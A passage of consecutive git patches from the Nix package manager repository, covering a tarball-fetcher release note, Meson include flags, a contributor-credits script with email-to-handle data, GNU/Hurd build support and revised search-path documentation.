e8bf2e74a5361033104670ab7148e6f8843073af Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 29 Jul 2024 15:09:06 +0200 Subject: [PATCH 1229/1251] Add release note --- doc/manual/rl-next/tarball-fixes.md | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 doc/manual/rl-next/tarball-fixes.md diff --git a/doc/manual/rl-next/tarball-fixes.md b/doc/manual/rl-next/tarball-fixes.md new file mode 100644 index 000000000..c938e9db6 --- /dev/null +++ b/doc/manual/rl-next/tarball-fixes.md @@ -0,0 +1,9 @@ +--- +synopsis: "Improve handling of tarballs that don't consist of a single top-level directory" +prs: +- 11195 +--- + +In previous Nix releases, the tarball fetcher (used by `builtins.fetchTarball`) erroneously merged top-level directories into a single directory, and silently discarded top-level files that are not directories. This is no longer the case. The new behaviour is that *only* if the tarball consists of a single directory, the top-level path component of the files in the tarball is removed (similar to `tar`'s `--strip-components=1`). + +Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) From a3171cec541a8df3be19e1a5a60e7cd4ae978ef9 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 29 Jul 2024 15:12:01 +0200 Subject: [PATCH 1230/1251] Update src/libfetchers/git-utils.hh Co-authored-by: Robert Hensing --- src/libfetchers/git-utils.hh | 1 + 1 file changed, 1 insertion(+) diff --git a/src/libfetchers/git-utils.hh b/src/libfetchers/git-utils.hh index ca37f2e80..915252868 100644 --- a/src/libfetchers/git-utils.hh +++ b/src/libfetchers/git-utils.hh @@ -102,6 +102,7 @@ struct GitRepo /** * If the specified Git object is a directory with a single entry * that is a directory, return the ID of that object. + * Otherwise, return the passed ID unchanged. */ virtual Hash dereferenceSingletonDirectory(const Hash & oid) = 0; }; From 12717325ccb5afeb686c8ddd02f9c9b623021f86 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 29 Jul 2024 12:16:05 -0400 Subject: [PATCH 1231/1251] Make sure we use `-isystem` with Meson on some deps Otherwise we get warnings on external code. --- src/libexpr/meson.build | 8 +++++++- src/libexpr/primops/fromTOML.cc | 3 --- src/libstore/meson.build | 3 ++- src/libstore/s3-binary-cache-store.cc | 3 --- src/libutil/meson.build | 1 + 5 files changed, 10 insertions(+), 8 deletions(-) diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build index fa90e7b41..4d8a38b43 100644 --- a/src/libexpr/meson.build +++ b/src/libexpr/meson.build @@ -32,6 +32,7 @@ subdir('build-utils-meson/threads') boost = dependency( 'boost', modules : ['container', 'context'], + include_type: 'system', ) # boost is a public dependency, but not a pkg-config dependency unfortunately, so we # put in `deps_other`. @@ -55,7 +56,12 @@ if bdw_gc.found() endif configdata.set('HAVE_BOEHMGC', bdw_gc.found().to_int()) -toml11 = dependency('toml11', version : '>=3.7.0', method : 'cmake') +toml11 = dependency( + 'toml11', + version : '>=3.7.0', + method : 'cmake', + include_type: 'system', +) deps_other += toml11 config_h = configure_file( diff --git a/src/libexpr/primops/fromTOML.cc b/src/libexpr/primops/fromTOML.cc index 70755f9e0..b4f1df7a8 100644 --- a/src/libexpr/primops/fromTOML.cc +++ b/src/libexpr/primops/fromTOML.cc @@ -3,10 +3,7 @@ #include -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wswitch-enum" #include -#pragma GCC diagnostic pop namespace nix { diff --git a/src/libstore/meson.build b/src/libstore/meson.build index cb8110f3f..50b15e15d 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -73,6 +73,7 @@ subdir('build-utils-meson/threads') boost = dependency( 'boost', modules : ['container'], + include_type: 'system', ) # boost is a public dependency, but not a pkg-config dependency unfortunately, so we # put in `deps_other`. @@ -113,7 +114,7 @@ if aws_s3.found() '-laws-cpp-sdk-core', '-laws-crt-cpp', ], - ) + ).as_system('system') endif deps_other += aws_s3 diff --git a/src/libstore/s3-binary-cache-store.cc b/src/libstore/s3-binary-cache-store.cc index 1082657bb..92ab47cd6 100644 --- a/src/libstore/s3-binary-cache-store.cc +++ b/src/libstore/s3-binary-cache-store.cc @@ -10,8 +10,6 @@ #include "compression.hh" #include "filetransfer.hh" -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wswitch-enum" #include #include #include @@ -27,7 +25,6 @@ #include #include #include -#pragma GCC diagnostic pop using namespace Aws::Transfer; diff --git a/src/libutil/meson.build b/src/libutil/meson.build index 04c778c31..8552c4c9d 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -62,6 +62,7 @@ endif boost = dependency( 'boost', modules : ['context', 'coroutine'], + include_type: 'system', ) # boost is a public dependency, but not a pkg-config dependency unfortunately, so we # put in `deps_other`. From f380becffacaabcfbace6b00e640cdc7bd0bbf64 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 29 Jul 2024 23:25:31 +0200 Subject: [PATCH 1232/1251] Credit all contributors in release notes --- .../data/release-credits-email-to-handle.json | 51 +++++ .../data/release-credits-handle-to-name.json | 44 +++++ maintainers/release-credits | 176 ++++++++++++++++++ maintainers/release-notes | 7 + maintainers/release-process.md | 4 + 5 files changed, 282 insertions(+) create mode 100644 maintainers/data/release-credits-email-to-handle.json create mode 100644 maintainers/data/release-credits-handle-to-name.json create mode 100755 maintainers/release-credits diff --git a/maintainers/data/release-credits-email-to-handle.json b/maintainers/data/release-credits-email-to-handle.json new file mode 100644 index 000000000..573ec2b31 --- /dev/null +++ b/maintainers/data/release-credits-email-to-handle.json @@ -0,0 +1,51 @@ +{ + "bogus": "bogus", + "edolstra@gmail.com": "edolstra", + "roberth@users.noreply.github.com": "roberth", + "toscano.pino@tiscali.it": "pinotree", + "valentin@gagarin.work": "fricklerhandwerk", + "mr.trubach@icloud.com": "tie", + "robert@roberthensing.nl": "roberth", + "lix@jade.fyi": "lf-", + "cole.e.helbling@outlook.com": "cole-h", + "joerg@thalheim.io": "Mic92", + "John.Ericson@Obsidian.Systems": "Ericson2314", + "ryan.hendrickson@alum.mit.edu": "rhendric", + "67135060+poweredbypie@users.noreply.github.com": "poweredbypie", + "detroyejr@outlook.com": "detroyejr", + "silvan.mosberger@tweag.io": "infinisil", + "vcs@emily.moe": "emilazy", + "farid.m.zakaria@gmail.com": "fzakaria", + "22859658+RTUnreal@users.noreply.github.com": "RTUnreal", + "me@las.rs": "L-as", + "philip.taron@gmail.com": "philiptaron", + "root@goldstein.rs": "GoldsteinE", + "tomberek@users.noreply.github.com": "tomberek", + "lexi.mattick@neuralink.com": "kognise", + "andrew@johnandrewmarshall.com": "amarshall", + "contact@romain-neil.fr": "romain-neil", + "Mic92@users.noreply.github.com": "Mic92", + "valentin.gagarin@tweag.io": "fricklerhandwerk", + "siddhantk232@gmail.com": "siddhantk232", + "kn@openbsd.org": "klemensn", + "slyich@gmail.com": "trofi", + "theophane.hufschmitt@tweag.io": "thufschmitt", + "alicebob@lijzij.de": "alicebob", + "winter@winter.cafe": "winterqt", + "brian@brianmckenna.org": "puffnfresh", + "git@haenoe.party": "haenoe", + "peshogo@gmail.com": "pineapplehunter", + "poweredbypie@users.noreply.github.com": "poweredbypie", + "arthur200126@gmail.com": "Artoria2e5", + "tomberek@gmail.com": "tomberek", + "jaredbaur@fastmail.com": "jmbaur", + "andreas@rammhold.de": "andir", + "hamirmahal@gmail.com": "hamirmahal", + "git@JohnEricson.me": "Ericson2314", + "8763518+SkamDart@users.noreply.github.com": "SkamDart", + "kirillrdy@gmail.com": "kirillrdy", + "pennae@lix.systems": "pennae", + "delroth@gmail.com": "delroth", + "enno@nerdworks.de": "elohmeier", + "mjbauer95@gmail.com": "matthewbauer" +} \ No newline at end of file diff --git a/maintainers/data/release-credits-handle-to-name.json b/maintainers/data/release-credits-handle-to-name.json new file mode 100644 index 000000000..d68311dde --- /dev/null +++ b/maintainers/data/release-credits-handle-to-name.json @@ -0,0 +1,44 @@ +{ + "fzakaria": "Farid Zakaria", + "kognise": "Lexi Mattick", + "L-as": "Las Safin", + "haenoe": "HaeNoe", + "andir": "Andreas Rammhold", + "matthewbauer": "Matthew Bauer", + "emilazy": "Emily", + "pineapplehunter": "Shogo Takata", + "RTUnreal": null, + "jmbaur": "Jared Baur", + "Ericson2314": "John Ericson", + "pinotree": "Pino Toscano", + "tie": "Ivan Trubach", + "poweredbypie": null, + "fricklerhandwerk": "Valentin Gagarin", + "Mic92": "J\u00f6rg Thalheim", + "alicebob": "Harmen", + "elohmeier": "Enno Richter", + "delroth": "Pierre Bourdon", + "kirillrdy": null, + "thufschmitt": "Th\u00e9ophane Hufschmitt", + "detroyejr": "Jonathan De Troye", + "klemensn": "Klemens Nanni", + "tomberek": null, + "rhendric": "Ryan Hendrickson", + "philiptaron": "Philip Taron", + "puffnfresh": "Brian McKenna", + "lf-": "jade", + "romain-neil": "Romain Neil", + "hamirmahal": "Hamir Mahal", + "edolstra": "Eelco Dolstra", + "Artoria2e5": "Mingye Wang", + "SkamDart": "Cameron", + "roberth": "Robert Hensing", + "amarshall": "Andrew Marshall", + "trofi": "Sergei Trofimovich", + "cole-h": "Cole Helbling", + "infinisil": "Silvan Mosberger", + "siddhantk232": "Siddhant Kumar", + "winterqt": "Winter", + "GoldsteinE": "Max \u201cGoldstein\u201d Siling", + "pennae": null +} \ No newline at end of file diff --git a/maintainers/release-credits b/maintainers/release-credits new file mode 100755 index 000000000..8350c4e2a --- /dev/null +++ b/maintainers/release-credits @@ -0,0 +1,176 @@ +#!/usr/bin/env nix +#!nix develop --impure --expr +#!nix `` +#!nix let flake = builtins.getFlake ("git+file://" + toString ../.); +#!nix pkgs = flake.inputs.nixpkgs.legacyPackages.${builtins.currentSystem}; +#!nix in pkgs.mkShell { nativeBuildInputs = [ +#!nix (pkgs.python3.withPackages (ps: with ps; [ requests ])) +#!nix ]; } +#!nix `` --command python3 + +# This script lists out the contributors for a given release. +# It must be run from the root of the Nix repository. + +import os +import sys +import json +import requests + +github_token = os.environ.get("GITHUB_TOKEN") +if not github_token: + print("GITHUB_TOKEN is not set. If you hit the rate limit, set it", file=sys.stderr) + # Might be ok, as we have a cache. + # raise ValueError("GITHUB_TOKEN must be set") + +# 1. Read the current version in .version +version = os.environ.get("VERSION") +if not version: + version = open(".version").read().strip() + +print(f"Generating release credits for Nix {version}", file=sys.stderr) + +# 2. Compute previous version +vcomponents = version.split(".") +if len(vcomponents) >= 2: + prev_version = f"{vcomponents[0]}.{int(vcomponents[1])-1}.0" +else: + raise ValueError(".version must have at least two components") + +# For unreleased versions +endref = "HEAD" +# For older releases +# endref = version + +# 2. Find the merge base between the current version and the previous version +mergeBase = os.popen(f"git merge-base {prev_version} {endref}").read().strip() +print(f"Merge base between {prev_version} and {endref} is {mergeBase}", file=sys.stderr) + +# 3. Find the date of the merge base +mergeBaseDate = os.popen(f"git show -s --format=%ci {mergeBase}").read().strip()[0:10] +print(f"Merge base date is {mergeBaseDate}", file=sys.stderr) + +# 4. Get the commits between the merge base and the current version + +def get_commits(): + raw = os.popen(f"git log --pretty=format:'%H\t%an\t%ae' {mergeBase}..{endref}").read().strip() + lines = raw.split("\n") + return [ { "hash": items[0], "author": items[1], "email": items[2] } + for line in lines + for items in (line.split("\t"),) + ] + +def commits_to_first_commit_by_email(commits): + by_email = dict() + for commit in commits: + email = commit["email"] + if email not in by_email: + by_email[email] = commit + return by_email + + +samples = commits_to_first_commit_by_email(get_commits()) + +# For quick testing, only pick two samples from the dict +# samples = dict(list(samples.items())[:2]) + +# Query the GitHub API to get handle +def get_github_commit(commit): + url = f"https://api.github.com/repos/NixOS/nix/commits/{commit['hash']}" + headers = {'Authorization': f'token {github_token}'} + response = requests.get(url, headers=headers) + response.raise_for_status() + return response.json() + +class Cache: + def __init__(self, filename, require = True): + self.filename = filename + try: + with open(filename, "r") as f: + self.values = json.load(f) + except FileNotFoundError: + if require: + raise + self.values = dict() + def save(self): + with open(self.filename, "w") as f: + json.dump(self.values, f, indent=4) + print(f"Saved cache to {self.filename}", file=sys.stderr) + +# The email to handle cache maps email addresses to either +# - a handle (string) +# - None (if no handle was found) +email_to_handle_cache = Cache("maintainers/data/release-credits-email-to-handle.json") + +handles = set() +emails = dict() + +for sample in samples: + s = samples[sample] + email = s["email"] + if not email in email_to_handle_cache.values: + print(f"Querying GitHub API for {s['hash']}, to get handle for {s['email']}") + ghc = get_github_commit(samples[sample]) + gha = ghc["author"] + if gha and gha["login"]: + handle = gha["login"] + print(f"Handle: {handle}") + email_to_handle_cache.values[email] = handle + else: + print(f"Found no handle for {s['email']}") + email_to_handle_cache.values[email] = None + handle = email_to_handle_cache.values[email] + if handle is not None: + handles.add(handle) + else: + emails[email] = s["author"] + +# print(email_to_handle_cache.values) + +email_to_handle_cache.save() + +handle_to_name_cache = Cache("maintainers/data/release-credits-handle-to-name.json") + +print(f"Found {len(handles)} handles", file=sys.stderr) + +for handle in handles: + if not handle in handle_to_name_cache.values: + print(f"Querying GitHub API for {handle}, to get name", file=sys.stderr) + url = f"https://api.github.com/users/{handle}" + headers = {'Authorization': f'token {github_token}'} + response = requests.get(url, headers=headers) + response.raise_for_status() + user = response.json() + name = user["name"] + print(f"Name: {name}", file=sys.stderr) + handle_to_name_cache.values[handle] = name + +handle_to_name_cache.save() + +entries = list() + +for handle in handles: + name = handle_to_name_cache.values[handle] + if name is None: + # This way it looks more regular + name = handle + entries += [ f"- {name} [**(@{handle})**](https://github.com/{handle})" ] + +def shuffle(entries): + salt = os.urandom(16) + return sorted(entries, key=lambda x: hash((x, salt))) + +# Fair ordering is undecidable +entries = shuffle(entries) + +# For a sanity check, we could sort the entries by handle instead. +# entries = sorted(entries) + +print("") +print(f"This release was made possible by the following {len(entries)} contributors:") +print("") + +for entry in entries: + print(entry) + +for email in emails: + print(f"- {emails[email]}") diff --git a/maintainers/release-notes b/maintainers/release-notes index 0fca5abf2..b7b5731c8 100755 --- a/maintainers/release-notes +++ b/maintainers/release-notes @@ -151,6 +151,13 @@ section_title="Release $version_full ($DATE)" echo "# $section_title" echo changelog-d doc/manual/rl-next | sed -e 's/ *$//' + + if ! $IS_PATCH; then + echo + echo "# Contributors" + echo + VERSION=$version_full ./maintainers/release-credits + fi ) | tee -a $file log "Wrote $file" diff --git a/maintainers/release-process.md b/maintainers/release-process.md index da6886ea9..7a2b3c0a7 100644 --- a/maintainers/release-process.md +++ b/maintainers/release-process.md @@ -39,6 +39,10 @@ release: * Proof-read / edit / rearrange the release notes if needed. Breaking changes and highlights should go to the top. +* Run `maintainers/release-credits` to make sure the credits script works + and produces a sensible output. Some emails might not automatically map to + a GitHub handle. + * Push. ```console From 850e4779d6285feffd78dbf4c12eb203a3f10637 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 30 Jul 2024 00:15:49 +0200 Subject: [PATCH 1233/1251] release-credits: Remove bots --- maintainers/release-credits | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/maintainers/release-credits b/maintainers/release-credits index 8350c4e2a..18641a07b 100755 --- a/maintainers/release-credits +++ b/maintainers/release-credits @@ -148,12 +148,19 @@ handle_to_name_cache.save() entries = list() +def is_bot(handle): + return handle.endswith("[bot]") + for handle in handles: name = handle_to_name_cache.values[handle] if name is None: # This way it looks more regular name = handle - entries += [ f"- {name} [**(@{handle})**](https://github.com/{handle})" ] + + # Note to bots: I'm only doing this because it would distract humans, and + # therefore delay your creation. I'm sorry; it's for your benefit. + if not is_bot(handle): + entries += [ f"- {name} [**(@{handle})**](https://github.com/{handle})" ] def shuffle(entries): salt = os.urandom(16) From d7f46cf28ea521eef0530a1a41af56a34dd89278 Mon Sep 17 00:00:00 2001 From: Pino Toscano Date: Tue, 30 Jul 2024 05:29:32 +0200 Subject: [PATCH 1234/1251] makefiles: recognize GNU/Hurd Set HOST_HURD & HOST_UNIX for GNU/Hurd in the makefile-based build system; the latter variable is important as it will include all the commit Unix bits. --- mk/platform.mk | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/mk/platform.mk b/mk/platform.mk index fe960dedf..22c114a20 100644 --- a/mk/platform.mk +++ b/mk/platform.mk @@ -29,4 +29,8 @@ ifdef HOST_OS HOST_SOLARIS = 1 HOST_UNIX = 1 endif + ifeq ($(HOST_KERNEL), gnu) + HOST_HURD = 1 + HOST_UNIX = 1 + endif endif From 7442f4a16143fe69a71949f1edbbbcab6862ed23 Mon Sep 17 00:00:00 2001 From: Pino Toscano Date: Tue, 30 Jul 2024 05:31:42 +0200 Subject: [PATCH 1235/1251] libutil: use /proc/self/exe on Hurd as well Rely on the Linux-compatible procfs available on the Hurd to get the path of the current executable. --- src/libutil/current-process.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc index c2b1ac500..0bc46d746 100644 --- a/src/libutil/current-process.cc +++ b/src/libutil/current-process.cc @@ -137,7 +137,7 @@ std::optional getSelfExe() { static auto cached = []() -> std::optional { - #if __linux__ + #if __linux__ || __GNU__ return readLink("/proc/self/exe"); #elif __APPLE__ char buf[1024]; From a1ccf6061396f398526bb99518cfd3b9c432aeb1 Mon Sep 17 00:00:00 2001 From: Pino Toscano Date: Tue, 30 Jul 2024 05:34:34 +0200 Subject: [PATCH 1236/1251] tests: define fallback PATH_MAX Few filesystem-related tests rely on PATH_MAX for buffers, and PATH_MAX is optional in POSIX (and not available on the Hurd). To make them build and pass, provide a fallback definition of PATH_MAX in case not available. Ideally speaking, the tests ought to not unconditionally rely on PATH_MAX, do alternative strategies (e.g. dynamically allocate buffers, expand them as needed, etc); OTOH this is test code, so it would be more work that what it would be worth, so IMHO the define fallback is good enough. --- tests/unit/libutil/tests.cc | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/unit/libutil/tests.cc b/tests/unit/libutil/tests.cc index 8a3ca8561..2b73d323b 100644 --- a/tests/unit/libutil/tests.cc +++ b/tests/unit/libutil/tests.cc @@ -17,6 +17,10 @@ # define FS_ROOT FS_SEP #endif +#ifndef PATH_MAX +# define PATH_MAX 4096 +#endif + namespace nix { /* ----------- tests for util.hh ------------------------------------------------*/ From ee86e7f361c55c8c7dc2e45c3868802af249aeff Mon Sep 17 00:00:00 2001 From: Corbin Simpson Date: Tue, 30 Jul 2024 05:51:47 -0700 Subject: [PATCH 1237/1251] doc/command-ref/nix-shell: Shebangs can occur anywhere (#11202) Co-authored-by: Valentin Gagarin --- doc/manual/src/command-ref/nix-shell.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/doc/manual/src/command-ref/nix-shell.md b/doc/manual/src/command-ref/nix-shell.md index ddec30f5b..69a711bd5 100644 --- a/doc/manual/src/command-ref/nix-shell.md +++ b/doc/manual/src/command-ref/nix-shell.md @@ -297,3 +297,8 @@ with import {}; runCommand "dummy" { buildInputs = [ python pythonPackages.prettytable ]; } "" ``` + +The script's file name is passed as the first argument to the interpreter specified by the `-i` flag. + +Aside from the very first line, which is a directive to the operating system, the additional `#! nix-shell` lines do not need to be at the beginning of the file. +This allows wrapping them in block comments for languages where `#` does not start a comment, such as ECMAScript, Erlang, PHP, or Ruby. From f011cfd28dc359bb786990d94b63c2c482e1b8da Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 30 Jul 2024 17:35:46 +0200 Subject: [PATCH 1238/1251] maintainers/release-*: Add mode line This lets various tools figure out the language more easily. --- maintainers/release-credits | 1 + maintainers/release-notes | 1 + 2 files changed, 2 insertions(+) diff --git a/maintainers/release-credits b/maintainers/release-credits index 18641a07b..7a5c87d7d 100755 --- a/maintainers/release-credits +++ b/maintainers/release-credits @@ -1,4 +1,5 @@ #!/usr/bin/env nix +# vim: set filetype=python: #!nix develop --impure --expr #!nix `` #!nix let flake = builtins.getFlake ("git+file://" + toString ../.); diff --git a/maintainers/release-notes b/maintainers/release-notes index b7b5731c8..c0c4ee734 100755 --- a/maintainers/release-notes +++ b/maintainers/release-notes @@ -1,4 +1,5 @@ #!/usr/bin/env nix +# vim: set filetype=bash: #!nix shell .#changelog-d --command bash # --- CONFIGURATION --- From ef8021744855754a12a4b0d343d902b2a8a29d8c Mon Sep 17 00:00:00 2001 From: Tom Bereknyei Date: Mon, 29 Jul 2024 10:42:43 -0400 Subject: [PATCH 1239/1251] fix: add flake headers --- src/libflake/flake/nix-flake.pc.in | 10 ++++++++++ src/libflake/local.mk | 5 +++++ src/nix/meson.build | 1 + 3 files changed, 16 insertions(+) create mode 100644 src/libflake/flake/nix-flake.pc.in diff --git a/src/libflake/flake/nix-flake.pc.in b/src/libflake/flake/nix-flake.pc.in new file mode 100644 index 000000000..10c52f5e9 --- /dev/null +++ b/src/libflake/flake/nix-flake.pc.in @@ -0,0 +1,10 @@ +prefix=@prefix@ +libdir=@libdir@ +includedir=@includedir@ + +Name: Nix +Description: Nix Package Manager +Version: @PACKAGE_VERSION@ +Requires: nix-util nix-store nix-expr +Libs: -L${libdir} -lnixflake +Cflags: -I${includedir}/nix -std=c++2a diff --git a/src/libflake/local.mk b/src/libflake/local.mk index 2cceda2bf..5e604ef3a 100644 --- a/src/libflake/local.mk +++ b/src/libflake/local.mk @@ -15,3 +15,8 @@ libflake_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetcher libflake_LDFLAGS += $(THREAD_LDFLAGS) libflake_LIBS = libutil libstore libfetchers libexpr + +$(eval $(call install-file-in, $(buildprefix)$(d)/flake/nix-flake.pc, $(libdir)/pkgconfig, 0644)) + +$(foreach i, $(wildcard src/libflake/flake/*.hh), \ + $(eval $(call install-file-in, $(i), $(includedir)/nix/flake, 0644))) diff --git a/src/nix/meson.build b/src/nix/meson.build index 53bb083a9..7405548de 100644 --- a/src/nix/meson.build +++ b/src/nix/meson.build @@ -20,6 +20,7 @@ deps_private_maybe_subproject = [ dependency('nix-util'), dependency('nix-store'), dependency('nix-expr'), + dependency('nix-flake'), dependency('nix-fetchers'), dependency('nix-main'), dependency('nix-cmd'), From db5bacb63772138036bdab4cb89a83bb52bbbcfa Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Wed, 31 Jul 2024 21:41:26 +0200 Subject: [PATCH 1240/1251] reword documentation on `nix-path` config option (#7772) * docs: unify documentation on search paths - put all the information on search path semantics into `builtins.findFile` - put all the information on determining the value of `builtins.nixPath` into the `nix-path` setting maybe `builtins.nixPath` is a better place for this, but those bits can still be moved around now that it's all next to each other. - link to the syntax page for lookup paths from all places that are concerned with it - add or clarify examples - add a test verifying a claim from documentation --- doc/manual/src/command-ref/env-common.md | 26 ++-- doc/manual/src/command-ref/opt-common.md | 9 +- src/libcmd/common-eval-args.cc | 70 +---------- src/libexpr/eval-settings.hh | 21 ++-- src/libexpr/primops.cc | 148 ++++++++++++++++++----- tests/functional/nix_path.sh | 16 +-- 6 files changed, 165 insertions(+), 125 deletions(-) diff --git a/doc/manual/src/command-ref/env-common.md b/doc/manual/src/command-ref/env-common.md index d3f5f9c14..0b5017882 100644 --- a/doc/manual/src/command-ref/env-common.md +++ b/doc/manual/src/command-ref/env-common.md @@ -9,22 +9,26 @@ Most Nix commands interpret the following environment variables: - [`NIX_PATH`](#env-NIX_PATH) - A colon-separated list of directories used to look up the location of Nix - expressions using [paths](@docroot@/language/types.md#type-path) - enclosed in angle brackets (i.e., ``), - e.g. `/home/eelco/Dev:/etc/nixos`. It can be extended using the - [`-I` option](@docroot@/command-ref/opt-common.md#opt-I). + A colon-separated list of search path entries used to resolve [lookup paths](@docroot@/language/constructs/lookup-path.md). - If `NIX_PATH` is not set at all, Nix will fall back to the following list in [impure](@docroot@/command-ref/conf-file.md#conf-pure-eval) and [unrestricted](@docroot@/command-ref/conf-file.md#conf-restrict-eval) evaluation mode: + This environment variable overrides the value of the [`nix-path` configuration setting](@docroot@/command-ref/conf-file.md#conf-nix-path). - 1. `$HOME/.nix-defexpr/channels` - 2. `nixpkgs=/nix/var/nix/profiles/per-user/root/channels/nixpkgs` - 3. `/nix/var/nix/profiles/per-user/root/channels` + It can be extended using the [`-I` option](@docroot@/command-ref/opt-common.md#opt-I). + + > **Example** + > + > ```bash + > $ export NIX_PATH=`/home/eelco/Dev:nixos-config=/etc/nixos + > ``` If `NIX_PATH` is set to an empty string, resolving search paths will always fail. - For example, attempting to use `` will produce: - error: file 'nixpkgs' was not found in the Nix search path + > **Example** + > + > ```bash + > $ NIX_PATH= nix-instantiate --eval '' + > error: file 'nixpkgs' was not found in the Nix search path (add it using $NIX_PATH or -I) + > ``` - [`NIX_IGNORE_SYMLINK_STORE`](#env-NIX_IGNORE_SYMLINK_STORE) diff --git a/doc/manual/src/command-ref/opt-common.md b/doc/manual/src/command-ref/opt-common.md index a42909e2d..69a700207 100644 --- a/doc/manual/src/command-ref/opt-common.md +++ b/doc/manual/src/command-ref/opt-common.md @@ -37,7 +37,7 @@ Most Nix commands accept the following command-line options: Print even more informational messages. - `4` “Debug” - + Print debug information. - `5` “Vomit” @@ -187,11 +187,12 @@ Most Nix commands accept the following command-line options: For `nix-shell`, this option is commonly used to give you a shell in which you can build the packages returned by the expression. If you want to get a shell which contain the *built* packages ready for use, give your expression to the `nix-shell --packages ` convenience flag instead. -- [`-I`](#opt-I) *path* +- [`-I` / `--include`](#opt-I) *path* - Add an entry to the [Nix expression search path](@docroot@/command-ref/conf-file.md#conf-nix-path). + Add an entry to the list of search paths used to resolve [lookup paths](@docroot@/language/constructs/lookup-path.md). This option may be given multiple times. - Paths added through `-I` take precedence over [`NIX_PATH`](@docroot@/command-ref/env-common.md#env-NIX_PATH). + + Paths added through `-I` take precedence over the [`nix-path` configuration setting](@docroot@/command-ref/conf-file.md#conf-nix-path) and the [`NIX_PATH` environment variable](@docroot@/command-ref/env-common.md#env-NIX_PATH). - [`--option`](#opt-option) *name* *value* diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index decadd751..fcef92487 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -91,75 +91,11 @@ MixEvalArgs::MixEvalArgs() .longName = "include", .shortName = 'I', .description = R"( - Add *path* to the Nix search path. The Nix search path is - initialized from the colon-separated [`NIX_PATH`](@docroot@/command-ref/env-common.md#env-NIX_PATH) environment - variable, and is used to look up the location of Nix expressions using [paths](@docroot@/language/types.md#type-path) enclosed in angle - brackets (i.e., ``). + Add *path* to search path entries used to resolve [lookup paths](@docroot@/language/constructs/lookup-path.md) - For instance, passing + This option may be given multiple times. - ``` - -I /home/eelco/Dev - -I /etc/nixos - ``` - - will cause Nix to look for paths relative to `/home/eelco/Dev` and - `/etc/nixos`, in that order. This is equivalent to setting the - `NIX_PATH` environment variable to - - ``` - /home/eelco/Dev:/etc/nixos - ``` - - It is also possible to match paths against a prefix. For example, - passing - - ``` - -I nixpkgs=/home/eelco/Dev/nixpkgs-branch - -I /etc/nixos - ``` - - will cause Nix to search for `` in - `/home/eelco/Dev/nixpkgs-branch/path` and `/etc/nixos/nixpkgs/path`. - - If a path in the Nix search path starts with `http://` or `https://`, - it is interpreted as the URL of a tarball that will be downloaded and - unpacked to a temporary location. The tarball must consist of a single - top-level directory. For example, passing - - ``` - -I nixpkgs=https://github.com/NixOS/nixpkgs/archive/master.tar.gz - ``` - - tells Nix to download and use the current contents of the `master` - branch in the `nixpkgs` repository. - - The URLs of the tarballs from the official `nixos.org` channels - (see [the manual page for `nix-channel`](../nix-channel.md)) can be - abbreviated as `channel:`. For instance, the - following two flags are equivalent: - - ``` - -I nixpkgs=channel:nixos-21.05 - -I nixpkgs=https://nixos.org/channels/nixos-21.05/nixexprs.tar.xz - ``` - - You can also fetch source trees using [flake URLs](./nix3-flake.md#url-like-syntax) and add them to the - search path. For instance, - - ``` - -I nixpkgs=flake:nixpkgs - ``` - - specifies that the prefix `nixpkgs` shall refer to the source tree - downloaded from the `nixpkgs` entry in the flake registry. Similarly, - - ``` - -I nixpkgs=flake:github:NixOS/nixpkgs/nixos-22.05 - ``` - - makes `` refer to a particular branch of the - `NixOS/nixpkgs` repository on GitHub. + Paths added through `-I` take precedence over the [`nix-path` configuration setting](@docroot@/command-ref/conf-file.md#conf-nix-path) and the [`NIX_PATH` environment variable](@docroot@/command-ref/env-common.md#env-NIX_PATH). )", .category = category, .labels = {"path"}, diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index 30a8c5c58..0cfc14c1b 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -79,19 +79,24 @@ struct EvalSettings : Config This setting determines the value of [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath) and can be used with [`builtins.findFile`](@docroot@/language/builtins.md#builtins-findFile). - The default value is + - The configuration setting is overridden by the [`NIX_PATH`](@docroot@/command-ref/env-common.md#env-NIX_PATH) + environment variable. + - `NIX_PATH` is overridden by [specifying the setting as the command line flag](@docroot@/command-ref/conf-file.md#command-line-flags) `--nix-path`. + - Any current value is extended by the [`-I` option](@docroot@/command-ref/opt-common.md#opt-I) or `--extra-nix-path`. - ``` - $HOME/.nix-defexpr/channels - nixpkgs=$NIX_STATE_DIR/profiles/per-user/root/channels/nixpkgs - $NIX_STATE_DIR/profiles/per-user/root/channels - ``` + If the respective paths are accessible, the default values are: - It can be overridden with the [`NIX_PATH` environment variable](@docroot@/command-ref/env-common.md#env-NIX_PATH) or the [`-I` command line option](@docroot@/command-ref/opt-common.md#opt-I). + - `$HOME/.nix-defexpr/channels` + - `nixpkgs=$NIX_STATE_DIR/profiles/per-user/root/channels/nixpkgs` + - `$NIX_STATE_DIR/profiles/per-user/root/channels` + + See [`NIX_STATE_DIR`](@docroot@/command-ref/env-common.md#env-NIX_STATE_DIR) for details. > **Note** > - > If [pure evaluation](#conf-pure-eval) is enabled, `nixPath` evaluates to the 